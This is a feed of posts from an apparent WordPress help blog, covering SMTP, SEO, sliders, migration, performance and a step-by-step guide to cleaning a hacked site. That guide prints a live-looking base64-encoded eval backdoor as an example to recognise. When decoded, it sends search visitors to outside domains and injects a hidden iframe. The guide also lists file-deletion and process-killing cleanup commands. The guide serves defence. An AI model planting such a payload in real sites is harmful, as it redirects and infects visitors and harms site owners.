WP Power https://wp-power.org Helping people better manage WordPress Thu, 01 Nov 2018 00:47:14 +0000 en-US hourly 1 https://wordpress.org/?v=4.9.8 https://wp-power.org/wp-content/uploads/2017/09/small_icn.png WP Power https://wp-power.org 32 32 Setup SMTP Email Sending using your Google Account https://wp-power.org/wordpress-maintenance/setup-smtp-email-sending-using-google-account/ https://wp-power.org/wordpress-maintenance/setup-smtp-email-sending-using-google-account/#respond Thu, 16 Nov 2017 23:41:01 +0000 https://wp-power.org/?p=115 Some webhosts require SMTP to be setup to send emails from WordPress. The first time you setup SMTP, follow the directions here to properly configure...

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Some webhosts require SMTP to be setup to send emails from WordPress. The first time you setup SMTP, follow the directions here to properly configure your Google Account. On future websites you setup, you can simply follow these instructions.

  1. Install the gMail SMTP plugin by naa986
  2. Login to console.developers.google.com
  3. Go to credentials > create credentials > OAuth Client ID
  4. Select the web application option
  5. Give it a name, include both the http and https version for the origin, and the redirect URI can be found in the gMail SMTP WordPress plugin
  6. Copy the client ID and Secret to the gMail SMTP plugin
  7. Finish filling out the plugin settings then go to the test tab, and make sure everything works. Troubleshooting help can be found on this page.

 

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The big guide to SEO https://wp-power.org/wordpress-marketing/big-guide-seo/ https://wp-power.org/wordpress-marketing/big-guide-seo/#respond Thu, 09 Nov 2017 01:04:27 +0000 https://wp-power.org/?p=105 I was going to create an entire section on this website dedicated to SEO, but this Tom guy has said it all. I...

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I was going to create an entire section on this website dedicated to SEO, but this Tom guy has said it all. I would take a look at this guide, and then make it a goal to implement one item on his list of improvements each week.

 

Should I hire an SEO expert?

SEO is a time consuming process, but it is something that you can do yourself. In the end, much of SEO happens naturally as you engage in internet marketing techniques, and you are the one best qualified to get out there and market your website/brand, and getting in front of others will also help you better understand the needs of your end user. So I’m all for doing your own SEO and marketing if you have the time, but it is one of the most time consuming processes, and an expert can help you along, and you will eventually get to the point where you don’t have the time to do this stuff on your own. Anyhow, that’s my two cents on this question.

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When to use sliders https://wp-power.org/wordpress-marketing/when-to-use-sliders/ https://wp-power.org/wordpress-marketing/when-to-use-sliders/#respond Thu, 09 Nov 2017 00:38:21 +0000 https://wp-power.org/?p=99 I just had some thoughts about when to use sliders that I wanted to write down. It’s something I’ve thought about many times...

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I just had some thoughts about when to use sliders that I wanted to write down. It’s something I’ve thought about many times in the past. You often hear people say that you shouldn’t use sliders (example), but I see big companies (Amazon, box.net, etc.) using them all over, so when should you use them?

 

This is the 2017 Amazon black friday site. We see them using a slider to showcase a promotion, and there are sliders all throughout the site!

 

When sliders are ok

To make a page easier to scan through, by combining related content that is inside a subsection of the page. For example, combining testimonials into a testimonial slider, combining recent blog posts, the old design of box.net even combined their feature details into a slider.

For websites that frequently get returning visitors looking for content that changes often. For example a news site or a community center.

 

When sliders are not ok

When the main message of the page is located in the slider. This conflicts with the sections below the slider. Unless, all you have on the page is a slider, which is often seen with portfolio pages, especially with photographers.

You’re presenting miscellaneous ideas that have no relationship to each other.

You don’t have your content hierarchy done correctly, and there is content in your slider that does not belong there.

 

How to design a slider well

Don’t put too much info on a single slide.

Don’t make the slider auto-rotate.

Realize that the slider isn’t the most important thing on the page, and design the slider to fit in.

Get the content hierarchy down good, and then once you have the page split into sections of equal importance, you’ll be able to choose to use a slider to group related pieces of content.

 

So in summary, if the first thing you see when a visitor comes to your website is a big slider, you should probably change that, and the research is in favor of removing that slider to boost your conversions, but if you’re just using a slider to group related ideas, then you are okay.

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Fixing a hacked website https://wp-power.org/internal/fixing-hacked-website/ https://wp-power.org/internal/fixing-hacked-website/#respond Thu, 21 Sep 2017 06:00:26 +0000 https://wp-power.org/?p=79 Here is the process I go through to fix a website that has been hacked. 0) If this is an ecommerce site, ask...

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Here is the process I go through to fix a website that has been hacked.

0) If this is an ecommerce site, ask the website owner if they have a phone number customers can use to place orders. Later when we add an under maintenance page, we can give customers the option of calling in to make payments.

In your message to the customer, tell them you can add a message to the site while it’s being worked on, and ask then what they want that to say. If they have a phone number you would like to stick on there for them to call to place orders.

1) Add the following to the .htaccess file to only allow you to access the website.

order deny,allow
deny from all
allow from REPLACE_WITH_YOUR_IP_ADDRESS

2) Backup the website. Without BackupBuddy you can perform the backup by running the commands ssh user@host “tar -zcf – ~/webapps/appName” > backup.tar.gz and ssh user@host mysqldump -u username -p –database db_name > backup.sql. Alternatively, you can use the ow backup command.

3) Remove the infected files

4) Contact Webfaction or whatever webhosting company is being used to have them re-enable the website.

5) Send all traffic to a new webapp that has a message about the site being down. If applicable add a phone number customers can use to make purchases over the phone. On this temporary website, check for any membership plugins, and disable them or prevent users from making changes on them that would affect the database. This prevents users from making changes that get lost when we send traffic back to the original website.

6) Edit your hosts file to still go to the actual site.

7) Make sure no unwanted processes are running on the server. SSH in and run the command ps -u username -o pid,commandto see processes for a specific user (eg the user you’re logged in as or www-data). You can also use the command ps -U root -u root -N -o pid,command to see processes for all non-root users, and then compare the results to a good server. Use the kill the_pid  command to remove any processes that do not belong. Then check the cron jobs with the command crontab -e. Also check the WP cron. This can be checked with the sucuri plugin under sucuri > settings > scanner > scheduled tasks. Alternatively, it can be checked with WP Crontrol under “tools” > “cron events”.

8) Perform updates. This is probably how the hacker got in.

9) Remove unneeded inactive plugins. An inactive plugin that hasn’t been updated for many years is a possible hacking vulnerability. Also remove inactive themes.

10) Download WordPress from wordpress.org. Remove the wp-includes and wp-admin folder. Remove everything except for the wp-config.php and .htaccess files, the wp-content folder and .well-known folders, and anything that looks important that is not a part of the WordPress install. In the wp-content folder remove the cache folder if it exists, along with anything else that looks unnecessary or out of place. Upload the new WordPress files that where just downloaded from WordPress.org, if prompted, replace any files currently on the server.

11) Delete and re-upload any plugins, and possibly do this with this the theme if you can. You can do this quickly for the free plugins in the WordPress codex repository by downloading the sucuri security plugin and navigating to sucuri > settings > post hack > reset installed plugins.

12) Install and configure iThemes Security Pro and WordFence.

13) Change the salts to logout anyone that could be logged into the website.

14) Remove any admin users that should not be there.

15) Check for suspicious looking files. We’re looking for files with a bunch of random text that has probably been base64 encoded. This is the hacker’s backdoor. He can visit a specific location on the website to evaluate this code which is full of tools that allow him to easily perform malicious actions. Below are some ways of finding potentially hacked files.

SSH in, cd into the webapp, and make sure there are no non-media files in the uploads directory by running the command grep -rnow "" --exclude=*.{jpg,jpeg,png,gif,mov,mp3,mp4,pdf,doc,xdoc,csv,xsl,sql} ./wp-content/uploads (backupbuddy adds a lot of sql files in there, so that’s why we’re also ignoring SQL files).

Find all files that have been modified within 24 hours with the command find -mtime -1 -printf ‘%Tc %p\n’ mtime specifies the number of days, so you would use -mtime -3 if you wanted to check the last three days.

       Check uses of eval with the command grep -ro “eval” –exclude=”*.sql”. Or use the gotmls plugin in step 15 to check for suspicous eval statements.

Check the md5 checksums of WordPress core files via wp-cli with the command ow wp-cli website.com "core verify-checksums --version=4.8.2". See this link for more info.

Example of malicious code

eval(base64_decode(“ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHRydW09aGVhZGVyc19zZW50KCk7DQokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQokdWE9JF9TRVJWRVJbJ0h UVFBfVVNFUl9BR0VOVCddOw0KaWYgKHN0cmlzdHIoJHVhLCJtc2llIikpew0KaWYgKCEkdHJ1bSl7DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJ pc3RyKCRyZWZlcmVyLCJiaW5nIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsInNpdGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGV hZGVyKCJMb2NhdGlvbjogaHR0cDovL2FsYXBvdHJlbW5iYS5vc2EucGwvcmlmLyIpOw0KCQlleGl0KCk7DQoJfQ0KCX0NCn1lbHNlIHsNCmVjaG8gIjxpZnJhbWUgc3JjPSdodHRwOi8vcnRqaHRleWp0eWp0eWoub3JnZS5 wbC9tZG0vJyBmcmFtZWJvcmRlcj0wIGhlaWdodD0xIHdpZHRoPTEgc2Nyb2xsaW5nPW5vPjwvaWZyYW1lPiI7DQp9DQoJfQ==”));

16) Change all passwords and remove all ssh keys with the command rm $HOME/.ssh/authorized_keys

17) Perform some website malware scans and make sure everything looks clean. The plugin “Anti-Malware from GOTMLS.NET” is a good malware scanner

18) Remove the bit we added to .htaccess to prevent anyone else from viewing the website. If anything looks wrong, restore the .htaccess file back to the default one.

19) Send website traffic back to the webapp.

20) Ask Webfaction or whoever the webhost is to rescan the site and verify that the site is coming up clean

21) It’s not worth your time, but If you would like to try to figure out how the site was hacked into, you can look for anything suspicious in the log files. On a Webfaction server these are located at

  • ~/.bash_history has a history of all of the commands entered over interactive ssh sessions
  • ~/logs/user has the MySql error logs. This folder is often empty
  • ~/logs/frontend has the apache access logs and the php error logs

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Why Would a Hacker Hack My WordPress Website https://wp-power.org/wordpress-security/hacker-hack-wordpress-website/ https://wp-power.org/wordpress-security/hacker-hack-wordpress-website/#respond Fri, 08 Sep 2017 19:39:02 +0000 https://wp-power.org/?p=70 This article is mostly to educate about the reality of hackers that are out there. Do I need to worry if my business...

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This article is mostly to educate about the reality of hackers that are out there.

Do I need to worry if my business is small?

To answer that, let me tell you this. 51.8% of website traffic is not from humans(source). Bots don’t differentiate between a big eCommerce site and a small community charity organization. They just attack. Some estimates have even pegged 70% of WordPress sites as being vulnerable(source). It’s just a matter of time before a bot looking for the right vulnerability comes along, so please keep your website up to date, and install some security plugins.

Why would somebody hack my WordPress website

Hackers will create bots that they unleash on the web because of the following reasons

  • They want to fill your website with spam that makes Google and Bing think your promoting other sites (especially porn and phishing websites).
  • They want to use your website to hack into other websites.
  • They want to send spam emails from a server that hasn’t been blacklisted.
  • They can use your website for phishing.
  • They can use your website as a place to store downloads containing viruses.
  • They can replace your advertisements with advertisements connected to an account they control.
  • They can blackmail you.

The first reason listed is the most common reason why I have seen people will hack into other sites. Unless they are trying to blackmail you, they do not want you to know they have compromised your server. Even though the damage may not be visible on your website, failure to take action could lead to Google blacklisting your site from Google search results, and your web-host could shut you down until you get the website cleaned up.

 

What should I do about it

You have two options. You can have a professional company like wp-overwatch.com take care of maintaining your website, or you can implement those items talked about in the security section of this website.

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Moving a WordPress site to a New Webhost https://wp-power.org/wordpress-maintenance/moving-wordpress-site-new-webhost/ https://wp-power.org/wordpress-maintenance/moving-wordpress-site-new-webhost/#respond Fri, 08 Sep 2017 05:16:28 +0000 https://wp-power.org/?p=65 This article is a reference for me and anyone else who might find it useful. I have refrained from going into too much...

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This article is a reference for me and anyone else who might find it useful. I have refrained from going into too much detail as that would add bloat to this article that would take away from its checklist nature. Instead, additional Googling will be required to learn how to perform each of the steps outlined here.

This article also applies to moving a WordPress site from the staging/dev/test site to the live/production site. Some webhosts offer free migration services, so you may want to check on that first.

#1 Make sure you have everything you will need

  • Registrar credentials. (This is probably goDaddy)
  • Hosting credentials or credit card info to setup a hosting account
  • If needed, create a 301 redirect table

#2 Save DNS info

This way you can revert any changes made if something goes wrong. A google search for DNS lookup will give you many online utilities that will fetch DNS info, or you can use the nslookup command.

#3 Put the website in maintenance mode

  • Put up a notice on the top of the website.
  • Install a WooCommerce catalog plugin to prevent purchases while migrating (or skip this step, and manually reconcile orders that may not get transitioned to the new db).
  • Install the ow-migrate plugin to prevent others from making changes on the backend.
  • Alternatively, put the db in read-only mode. see this Stack Overflow for more info, however, this requires super admin privelages, and is highly unlikely to work.

#4 Backup the DB, and restore it on the new webhost

Updraft and BackupBuddy are some of the more common tools for doing this.  If those don’t work, you can also perform a MySQL dump through either phpMyAdmin or on the command-line. You’ll need to make sure if there are any sub-sites (the-website.com/another-site), that you grab the databases for those sites as well. You’ll need to look-up the instructions on how to restore the backup depending on the method you used to backup the db.

#5 Point the old webhost to the new DB

Even though this will slow the website down a ton, we will temporarily use a database from the new datacenter. Fill in the wp-config.php file with the database name, username, and password. Then for the hostname, put in the external server. If that doesn’t work, (and it won’t work for Webfaction) put in 127.0.0.1:5555. Then SSH in and forward the database to port 5555 by issuing the command ssh -N -L 5555:127.0.0.1:3306 remoteuser@remotedomain.com -vv.

#6 Take the website out of maintenance mode

But leave the maintenance notice there until we’re done.

#7 Copy the files to the new webhost

This can be done by doing a backup and restore of the files only. Once again Updraft and BackupBuddy are some good tools. You can also do this manually by downloading all of the files. You’ll probably want to zip or tar the files first so it doesn’t take forever to download them. You’ll need to make sure if there are any sub-sites (the-website.com/another-site), that you grab the files for those as well.

#8 Change your hosts file

This makes your computer think the new website is live when it is not, allowing you to test things out and make sure the website was restored properly.

#9 Turn off debug mode if it was left on

This is done in the wp-config.php file.

 

#10 Install Google Analytics

Monster Insights is a good plugin for this.

#11 Allow search engines

Go to Settings > Reading > “Search engine visibility”, and make sure search engines are allowed to crawl the site.

#12 New websites may need the email field updated

Make sure the email field in general > email has been appropriately set.

 

#13 Handle SSL certificate

Sometimes you might be able to install the certificate before the site goes live. If you need to setup the SSL certificate yourself, sslforfree.com will give you a free certificates.  If the new webhost offers free SSL certificates, you may have to wait until after the site goes live before they will offer you one. In that case, deactivate anything that might be forcing the website to use SSL (force SSL plugins, security plugins, WooCommerce has an SSL setting for the checkout page, and also check the site and home URL in the general settings), and then after the site goes live and the change has propagated to the datacenter, then you can request an SSL certificate from the webhost, and then re-enable SSL forcing features on the website.

#14 QA

  • Make sure everything looks good
  • Test on mobile

#15 Change the A record

This is where we actually make the switch that tells the internet to load your website from your new host. Make sure the www version of the website works too.

#15b Changing the nameservers instead

This isn’t recommended as it can have unforeseen consequences. You’ll need to watch out for the following when doing this

  • Emails. You’ll need to update the email records to be the same as the previous nameserver.
  • Subdomains. You’ll need to make sure you either migrate the subdomains too, or you create the appropriate a records for each of the subdomains.
  • Other DNS records. Make sure you migrate any txt, spf, cname, and any other DNS records on the old nameserver.

#16 More QA

  • Disable old site
    • Disable the old site if it was using a different URL to make sure we are not loading assets or linking to pages on it.
  • Crawl for broken links
    • Using Xenu (Windows), Integrity (Mac), or Link Checker (All platforms) crawl the site for errors. You may find a lot of problems, fix any important ones.

#17 Create 301 redirects

You need to do this to make sure you don’t loose any SEO value your site has.

 

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Ultimate Guide to WordPress Performance https://wp-power.org/wordpress-performance/ultimate-guide-wordpress-performance/ https://wp-power.org/wordpress-performance/ultimate-guide-wordpress-performance/#respond Thu, 07 Sep 2017 21:58:50 +0000 https://wp-power.org/?p=44 Let’s make WordPress faaaaaast. We’ll start simple, and then move to optimizations most articles don’t talk about. Studies have shown each second can...

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Let’s make WordPress faaaaaast. We’ll start simple, and then move to optimizations most articles don’t talk about. Studies have shown each second can change the conversion rate by 7%.

 

The Basics

These are some big wins that are must-haves for any website.

Install a caching plugin

There are lots of good ones. The simplest one is called “Breeze”. Breeze strives to be a one-click solution that auto-detects the best optimizations and applies them. If Breeze causes any problems with your website, you can also try WP Super Cache, W3 Total cache, or WP Rocket. They are all equally good.

Optimize Images

You want to both downsize and compress all of your images. Ewww Image Optimizer and Smush It are two good plugins for this.

Use a CDN

This will cause your website to be loaded from a server close to your user. This is especially good for international users. ClouFlare will perform additional performance optimizations, and is often touted as being the best CDN to use, but these optimizations are best performed by your caching plugin. I would still recommend CloudFlare as it is free, but any CDN will do.

Have a good Host

Trust me. A webhost like WP-SecureHosting.com that cares about speed is worth a few extra dollars per month.

 

Server-side Improvements

These are the items you will want to look for when finding a good webhost. Bigger hosting companies are often slower to implement these items.

Server-side caching

There are two common server-side caching mechanisms. Varnish and LiteCache. You will want to use these in addition to your caching plugin. Caching plugins will perform optimizations such as minification, that server-side caching programs do not do. Server-side caching programs have a super-fast in-memory cache. So the best solution is to use both a WordPress caching plugin, and use a webhost that supports server-side caching. Note that there is some additional setup to make sure the server-side cache is flushed each time your WordPress caching plugin flushes its cache. The Breeze plugin will auto-detect if Varnish is installed, and WP-Rocket has a checkbox that can be checked if Varnish is installed. Also note that LiteSpeed is an alternative to Apache. LiteCache runs on LiteSpeed servers (there is also an open source version of LiteCache for Apache). Not all LiteSpeed servers come with LiteCache, so if you see a webhost advertising LiteSpeed support, make sure they also support LiteCache.

HTTP/2

Released in 2015, HTTP/2 is a must have. It is faster in many ways. QUIC is an alternative to TCP that will further speed things up. If you can find a webhost that offers HTTP/2+QUIC, let me know in the comments below. SPDY is Google’s old attempt at making the web faster, but it has been superceded by HTTP/2. Google has moved on to using HTTP/2 instead.

Railgun

Cloudflare offers a service called Railgun, but this has to be installed by your webhost to work. Your webhost also needs to be a partner of Cloudflare. Railgun speeds up communication between your server and Cloudflare’s servers by only sending data that has changed since the last time your website was loaded.

PHP 7 or HHVM

The difference between PHP 7 and the previous version (version 5.6, they skipped version 6) is incredible. Before PHP 7 came out Facebook created their own optimized version of PHP called HHVM, but PHP 7 is now slightly faster than HHVM. Either way, as long as you’re not using PHP 5.6, you should be good.

IOPS

Most web-hosts advertise the fact that they are using SSD drives, but then they limit your IO speed. This is fine as you don’t want someone else on the server maxing out the hard-drive, but the true metric you want to look for is the IOPS benchmark. IOPS stands for “Input/output operations per second”. The next best metric is the read/write MB/s speed, but this measures the read/write speed of sequential data which is not that representative of what the hard-drive does when it loads a website. Either way the point is don’t get fooled into thinking that an SSD drive is something wonderful to have on a hosting plan, unless you’re using a dedicated server.

Memory

Server-side caching uses a lot of memory, so you will need a web-host that isn’t frisky on how much memory you get. You will want a minimum of half a GB, and ideally you will want a full GB. If you often have more than 5 users loading your site at once, you may need more memory. Solutions like New Relic can monitor how close you are getting to maxing out your memory.

Up-to-date MySQL/MariaDB

You’ll want to make sure your webhost frequently updates MySQL as updates come out. MySQL updates will often include performance improvements. MariaDB is a fork of MySQL and is supported by WordPress. You may find old articles referring to MariaDB being faster, but this is no longer true. (MariaDB used to use a faster DB engine called XtraDB, but all of the improvements in this DB engine have been merged into the InnoDB engine that ships with MySQL and MariaDB.)

 

Understanding your Caching Settings

Coming soon. This section will talk about common WordPress caching settings.

 

Misc Improvements

InnoDB

If you’re database is still using a MyISAM engine, you’ll want to convert your database tables to use an InnoDB engine.

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Regular WordPress Maintenance Activities https://wp-power.org/wordpress-maintenance/regular-wordpress-maintenance-activities/ https://wp-power.org/wordpress-maintenance/regular-wordpress-maintenance-activities/#respond Wed, 06 Sep 2017 15:58:51 +0000 https://wp-power.org/?p=26 Please make sure, for the security of your website, that you make plans to regularly handle the following activities. Hackers will target both...

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Please make sure, for the security of your website, that you make plans to regularly handle the following activities. Hackers will target both small and large websites, and you need to be prepared.

Regular backups

The minimum

Make sure you backup your website at least once a month. Updraft is a great plugin for scheduling automatic backups. Make sure you download a backup to your computer every once in a while so that either you or a professional can go in and restore your website if something happens.

Go the extra mile

There are a few more things you can do to take your backups a little bit more seriously. A service like VaultPress will backup all changes in real-time. In addition to using a service like this, you’ll want to set up your website to create daily database backups that are stored locally, and weekly backups that are stored on an off-site location such as Amazon S3 storage. BackupBuddy is a great plugin that allows you to automatically send backups to Amazon S3 storage. You will also want to occasionally restore a backup on a staging site to make sure you’re able to restore backups if you run into an emergency.

 

Updates

The minimum

Failure to update regularly is the number one way people get hacked. Schedule a time once a month to go in and perform any updates available on the website.

Go the extra mile

If you’re a developer, you can also configure automatic updates. However, the best system for handling updates involves setting up a staging site you can test updates on. This way you don’t have to worry about updates breaking the website. I go in every week of two and test updates on all of my WordPress sites, and then once I know everything is fine, I apply the updates to the actual site.

 

Database Optimizations

It helps your website load faster if you occasionally optimize your database and clear out any unused transients. Especially if the database is using the MyISAM engine (but you should convert it to an InnoDB engine if it is). The plugin “WP-Optimize” allows you to schedule database optimizations to be performed once a week.

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WordPress Hosting Speed Comparison https://wp-power.org/wordpress-performance/hosting-performance-comparison/ https://wp-power.org/wordpress-performance/hosting-performance-comparison/#respond Tue, 05 Sep 2017 14:41:20 +0000 http://www.wp-power.org/?p=5 Post coming soon… In this post I will compare the load time of various WordPress websites on bluehost.com, a2hosting.com, wp-overwatch.com, wp-securehosting.com, and webfaction.com....

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Post coming soon… In this post I will compare the load time of various WordPress websites on bluehost.com, a2hosting.com, wp-overwatch.com, wp-securehosting.com, and webfaction.com. We use wp-overwatch.com.

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